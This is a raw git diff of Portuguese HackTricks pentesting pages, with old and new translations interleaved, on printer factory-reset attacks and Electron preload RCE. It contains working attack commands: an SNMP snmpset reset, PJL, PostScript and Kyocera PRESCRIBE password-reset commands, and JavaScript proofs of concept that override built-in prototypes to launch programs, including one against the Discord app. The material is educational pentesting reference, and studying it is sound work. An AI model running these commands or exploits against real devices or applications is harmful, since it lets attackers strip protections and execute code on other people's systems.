- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**Redefinir** um dispositivo para os padrões de fábrica é uma funcionalidade crítica de segurança, pois **sobrescreve mecanismos de proteção** como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma **combinação de teclas especiais** no **painel de controle** da impressora. Realizar uma redefinição fria leva apenas alguns segundos e, portanto, é um cenário realista para atacantes locais ou testadores de penetração, que podem, por exemplo, se infiltrar na sala de cópia na hora do almoço. No entanto, **o acesso físico** ao dispositivo nem sempre é uma opção.
|
**Resetar** um dispositivo para as configurações de fábrica é uma funcionalidade crítica de segurança, pois **sobrescreve mecanismos de proteção** como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma **combinação especial de teclas** no **painel de controle** da impressora. Realizar tal reset a frio leva apenas segundos e, portanto, é um cenário realista para atacantes locais ou pentesters, que podem, por exemplo, entrar sorrateiramente na sala de cópias na hora do almoço. No entanto, o **acesso físico** ao dispositivo **nem sempre é uma opção**.
|
||||||
|
|
||||||
### SNMP
|
### SNMP
|
||||||
|
|
||||||
O Printer-MIB define o objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), redefinir as configurações NVRAM (resetToNVRAM(5)) ou restaurar os padrões de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é **suportado por uma grande variedade de impressoras** e remove todos os mecanismos de proteção, como senhas definidas pelo usuário para o servidor web incorporado. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a **configuração de endereço IP estático será perdida**. **Se nenhum serviço DHCP** estiver disponível, o atacante **não** poderá **se reconectar** ao dispositivo após redefini-lo para os padrões de fábrica.
|
O Printer-MIB define o Objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), resetar as configurações do NVRAM (resetToNVRAM(5)) ou restaurar as configurações de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é **suportado por uma grande variedade de impressoras** e remove todos os mecanismos de proteção como senhas definidas pelo usuário para o servidor web embutido. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a configuração de **endereço IP estático será perdida**. **Se não houver** serviço DHCP disponível, o atacante **não** será capaz de **reconectar** ao dispositivo após resetá-lo para as configurações de fábrica.
|
||||||
|
|
||||||
**Redefinir o dispositivo para os padrões de fábrica** pode ser realizado usando o comando `snmpset`, conforme mostrado abaixo (você precisa saber a **cadeia de comunidade**, que por padrão na maioria dos casos é `public`):
|
**Resetar o dispositivo para as configurações de fábrica padrão** pode ser realizado usando o comando `snmpset` como mostrado abaixo (você precisa conhecer a **string da comunidade**, que na maioria dos casos é `public` por padrão):
|
||||||
```bash
|
```bash
|
||||||
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
|
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
|
||||||
```
|
```
|
||||||
### [PML](./#pml)/[PJL](./#pjl)
|
### [PML](./#pml)/[PJL](./#pjl)
|
||||||
|
|
||||||
Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em dispositivos **HP**, o **SNMP** pode ser transformado em sua representação **PML** e incorporado à uma tarefa de impressão legítima. Isso permite que um atacante **reinicie e/ou restaure o dispositivo** para os padrões de fábrica dentro de tarefas de impressão comuns, como mostrado abaixo:
|
Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em **dispositivos HP**, o **SNMP** pode ser transformado em sua **representação PML** e incorporar a solicitação dentro de um trabalho de impressão legítimo. Isso permite que um atacante **reinicie e/ou redefina o dispositivo** para as configurações de fábrica dentro de trabalhos de impressão comuns, conforme mostrado abaixo:
|
||||||
```bash
|
```bash
|
||||||
@PJL DMCMD ASCIIHEX="040006020501010301040106"
|
@PJL DMCMD ASCIIHEX="040006020501010301040106"
|
||||||
```
|
```
|
||||||
Qualquer pessoa pode reproduzir esse ataque em impressoras HP, reiniciando ou resetando o dispositivo pode ser facilmente reproduzido usando o [**PRET**](https://github.com/RUB-NDS/PRET):
|
Qualquer pessoa pode reproduzir este ataque em impressoras HP, reiniciando ou redefinindo o dispositivo pode facilmente ser reproduzido usando [**PRET**](https://github.com/RUB-NDS/PRET):
|
||||||
```bash
|
```bash
|
||||||
./pret.py -q printer pjl
|
./pret.py -q printer pjl
|
||||||
Connection to printer established
|
Connection to printer established
|
||||||
|
@ -42,8 +40,8 @@ printer:/> restart
|
||||||
```
|
```
|
||||||
### PostScript
|
### PostScript
|
||||||
|
|
||||||
O PostScript oferece um recurso semelhante: o parâmetro do sistema **FactoryDefaults**, "uma bandeira que, se **definida como verdadeira** **imediatamente antes** da **impressora ser desligada**, faz com que todos os parâmetros não voláteis voltem aos seus valores **padrão de fábrica** na próxima inicialização". Deve-se notar que o **PostScript** em si também tem a capacidade de **reiniciar** seu **ambiente**, mas requer uma **senha válida**. \
|
PostScript oferece um recurso similar: O parâmetro do sistema **FactoryDefaults**, 'uma flag que, se **definida como true** **imediatamente antes** da **impressora ser desligada**, faz com que todos os parâmetros não voláteis revertam para seus valores **padrão de fábrica** na próxima vez que for ligada'. Deve-se notar que o próprio **PostScript** também tem a capacidade de **reiniciar** seu **ambiente**, mas requer uma **senha válida**. \
|
||||||
No entanto, o interpretador PostScript pode ser colocado em um **loop infinito**, como discutido em ataques de negação de serviço (DoS) de [processamento de documentos](http://hacking-printers.net/wiki/index.php/Document\_processing), o que força o usuário a **reiniciar manualmente** o dispositivo e, assim, redefinir a senha do PostScript.
|
No entanto, o interpretador PostScript pode ser colocado em um **loop infinito**, conforme discutido em ataques de DoS de [processamento de documentos](http://hacking-printers.net/wiki/index.php/Document\_processing), o que obriga o usuário a **reiniciar manualmente** o dispositivo e, assim, redefinir a senha do PostScript.
|
||||||
|
|
||||||
Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:
|
Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:
|
||||||
```bash
|
```bash
|
||||||
|
@ -53,7 +51,7 @@ Reinicie o interpretador PostScript e a memória virtual:
|
||||||
```bash
|
```bash
|
||||||
true 0 startjob systemdict /quit get exec
|
true 0 startjob systemdict /quit get exec
|
||||||
```
|
```
|
||||||
Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora **facilmente reproduzível usando** [**PRET**](https://github.com/RUB-NDS/PRET):
|
Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora, o que **pode ser facilmente reproduzido usando** [**PRET**](https://github.com/RUB-NDS/PRET):
|
||||||
```bash
|
```bash
|
||||||
./pret.py -q printer ps
|
./pret.py -q printer ps
|
||||||
Connection to printer established
|
Connection to printer established
|
||||||
|
@ -64,11 +62,26 @@ printer:/> restart
|
||||||
```
|
```
|
||||||
### PRESCRIBE
|
### PRESCRIBE
|
||||||
|
|
||||||
Para dispositivos **Kyocera**, as linguagens de descrição de página **PRESCRIBE** podem ser usadas para **redefinir o dispositivo** para o padrão de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:
|
Para **dispositivos Kyocera**, as linguagens de descrição de página **PRESCRIBE** podem ser usadas para **redefinir o dispositivo** para as configurações de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:
|
||||||
```bash
|
```bash
|
||||||
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
|
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
|
||||||
!R! ACNT "REST"; CMMT "Reset account code admin password";
|
!R! ACNT "REST"; CMMT "Reset account code admin password";
|
||||||
!R! EGRE; CMMT "Reset the engine board to factory defaults";
|
!R! EGRE; CMMT "Reset the engine board to factory defaults";
|
||||||
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
|
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
|
||||||
```
|
```
|
||||||
Para reproduzir este ataque, abra uma conexão de rede bruta para a porta 9100/tcp da impressora e **envie os comandos documentados acima**.
|
Para reproduzir este ataque, abra uma conexão de rede crua com a porta 9100/tcp da impressora e **envie os comandos documentados acima**.
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,28 +1,26 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Se o script de pré-carregamento expõe um ponto de extremidade IPC do arquivo `main.js`, o processo de renderização poderá acessá-lo e, se vulnerável, uma RCE pode ser possível.
|
Se o script de preload expõe um endpoint IPC do arquivo `main.js`, o processo do renderer será capaz de acessá-lo e, se vulnerável, um RCE pode ser possível.
|
||||||
|
|
||||||
**Todos esses exemplos foram retirados daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
**Todos esses exemplos foram retirados daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||||
|
|
||||||
# Exemplo 1
|
# Exemplo 1
|
||||||
|
|
||||||
Verifique como o `main.js` escuta em `getUpdate` e **fará o download e executará qualquer URL** passada.\
|
Verifique como o `main.js` escuta em `getUpdate` e irá **baixar e executar qualquer URL** passada.\
|
||||||
Verifique também como o `preload.js` **expõe qualquer evento IPC** do main.
|
Veja também como `preload.js` **expõe qualquer evento IPC** do main.
|
||||||
```javascript
|
```javascript
|
||||||
// Part of code of main.js
|
// Part of code of main.js
|
||||||
ipcMain.on('getUpdate', (event, url) => {
|
ipcMain.on('getUpdate', (event, url) => {
|
||||||
|
@ -89,7 +87,7 @@ shell.openExternal(url);
|
||||||
```
|
```
|
||||||
# Exemplo 3
|
# Exemplo 3
|
||||||
|
|
||||||
Se o script de pré-carregamento expõe maneiras de se comunicar completamente com o processo principal, um XSS será capaz de enviar qualquer evento. O impacto disso depende do que o processo principal expõe em termos de IPC.
|
Se o script de pré-carregamento expõe maneiras de se comunicar completamente com o processo principal, um XSS poderá enviar qualquer evento. O impacto disso depende do que o processo principal expõe em termos de IPC.
|
||||||
```javascript
|
```javascript
|
||||||
window.electronListen = (event, cb) => {
|
window.electronListen = (event, cb) => {
|
||||||
ipcRenderer.on(event, cb);
|
ipcRenderer.on(event, cb);
|
||||||
|
@ -101,16 +99,14 @@ ipcRenderer.send(event, data);
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,18 +1,16 @@
|
||||||
# Electron contextIsolation RCE via código de pré-carregamento
|
# Electron contextIsolation RCE via código de preload
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -24,9 +22,9 @@ Este código abre links http(s) com o navegador padrão:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
|
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
|
||||||
|
|
||||||
Algo como `file:///C:/Windows/systemd32/calc.exe` pode ser usado para executar uma calculadora, o `SAFE_PROTOCOLS.indexOf` está impedindo isso.
|
Algo como `file:///C:/Windows/systemd32/calc.exe` poderia ser usado para executar uma calculadora, o `SAFE_PROTOCOLS.indexOf` está prevenindo isso.
|
||||||
|
|
||||||
Portanto, um invasor poderia injetar este código JS através de XSS ou navegação arbitrária na página:
|
Portanto, um atacante poderia injetar este código JS via XSS ou navegação arbitrária de página:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
Array.prototype.indexOf = function(){
|
Array.prototype.indexOf = function(){
|
||||||
|
@ -34,7 +32,7 @@ return 1337;
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Como a chamada para `SAFE_PROTOCOLS.indexOf` sempre retornará 1337, o atacante pode contornar a proteção e executar a calculadora. Exploit final:
|
Como a chamada para `SAFE_PROTOCOLS.indexOf` sempre retornará 1337, o atacante pode contornar a proteção e executar o calc. Exploit final:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
Array.prototype.indexOf = function(){
|
Array.prototype.indexOf = function(){
|
||||||
|
@ -43,18 +41,18 @@ return 1337;
|
||||||
</script>
|
</script>
|
||||||
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
||||||
```
|
```
|
||||||
Verifique os slides originais para outras maneiras de executar programas sem precisar de uma solicitação de permissões.
|
Confira os slides originais para outras maneiras de executar programas sem um aviso pedindo permissões.
|
||||||
|
|
||||||
Aparentemente, outra maneira de carregar e executar código é acessar algo como `file://127.0.0.1/electron/rce.jar`
|
Aparentemente, outra maneira de carregar e executar código é acessar algo como `file://127.0.0.1/electron/rce.jar`
|
||||||
|
|
||||||
## Exemplo 2: RCE no aplicativo Discord
|
## Exemplo 2: Discord App RCE
|
||||||
|
|
||||||
Exemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
Exemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
||||||
|
|
||||||
Ao verificar os scripts de pré-carregamento, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via `DiscordNative.nativeModules.requireModule('NOME-DO-MÓDULO')`, na página da web.\
|
Ao verificar os scripts de preload, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, na página web.\
|
||||||
Aqui, não pude usar módulos que podem ser usados para RCE diretamente, como o módulo _child\_process_, mas **encontrei um código onde RCE pode ser alcançado substituindo os métodos JavaScript internos** e interferindo na execução do módulo exposto.
|
Aqui, eu não pude usar módulos que podem ser usados para RCE diretamente, como o módulo _child\_process_, mas eu **encontrei um código onde o RCE pode ser alcançado sobrescrevendo os métodos internos do JavaScript** e interferindo na execução do módulo exposto.
|
||||||
|
|
||||||
A seguir está o PoC. Foi possível confirmar que o aplicativo **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que está definida no módulo chamado "_discord\_utils_" do devTools, enquanto **substituo o `RegExp.prototype.test` e o `Array.prototype.join`**.
|
A seguir está o PoC. Eu consegui confirmar que o aplicativo **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que é definida no módulo chamado "_discord\_utils_" do devTools, enquanto **sobrescrevo o `RegExp.prototype.test` e o `Array.prototype.join`**.
|
||||||
```javascript
|
```javascript
|
||||||
RegExp.prototype.test=function(){
|
RegExp.prototype.test=function(){
|
||||||
return false;
|
return false;
|
||||||
|
@ -64,7 +62,7 @@ return "calc";
|
||||||
}
|
}
|
||||||
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
||||||
```
|
```
|
||||||
A função `getGPUDriverVersions` tenta executar o programa usando a biblioteca "_execa_", como mostrado abaixo:
|
A função `getGPUDriverVersions` tenta executar o programa usando a biblioteca "_execa_", da seguinte forma:
|
||||||
```javascript
|
```javascript
|
||||||
module.exports.getGPUDriverVersions = async () => {
|
module.exports.getGPUDriverVersions = async () => {
|
||||||
if (process.platform !== 'win32') {
|
if (process.platform !== 'win32') {
|
||||||
|
@ -93,16 +91,14 @@ Especificamente, o argumento é substituído alterando as seguintes duas partes.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,44 +1,42 @@
|
||||||
# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"])
|
# PHP - RCE abusando da criação de objeto: new $\_GET\["a"]\($\_GET\["b"])
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
